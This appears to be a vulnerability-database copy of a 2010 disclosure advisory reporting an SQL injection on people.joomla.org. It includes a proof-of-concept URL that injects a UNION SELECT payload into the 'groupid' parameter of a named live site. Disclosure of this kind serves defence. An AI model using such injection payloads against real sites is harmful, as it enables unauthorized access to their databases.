Lucene search
+L

Joomla SQL Injection

🗓️ 28 Dec 2010 00:00:00Reported by ZerialType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

Joomla SQL Injection on people.joomla.or

Code
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Hi folks,  
  
Exists an SQL-Injection on http://people.joomla.org  
  
http://people.joomla.org/events.html?groupid=1%20or%201=0%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70;%20--  
  
  
I hope which affect to any site that use this plugin, extension or  
module too.  
  
more info:  
http://blog.zerial.org/seguridad/0-day-sql-injection-en-sitio-web-de-joomla/  
  
  
cheers,  
  
- --   
Zerial  
Seguridad Informatica  
GNU/Linux User #382319  
Blog: http://blog.zerial.org  
Jabber: [email protected]  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.11 (GNU/Linux)  
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/  
  
iEYEARECAAYFAk0aHw4ACgkQIP17Kywx9JTRQQCfbBohFBjoS5qZv1oZXzqUjRyp  
KhIAn2V6dBQReFQ6pkhl4j4zN2iM0VD+  
=mF/x  
-----END PGP SIGNATURE-----  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Dec 2010 00:00Current
0.2Low risk
Vulners AI Score0.2
33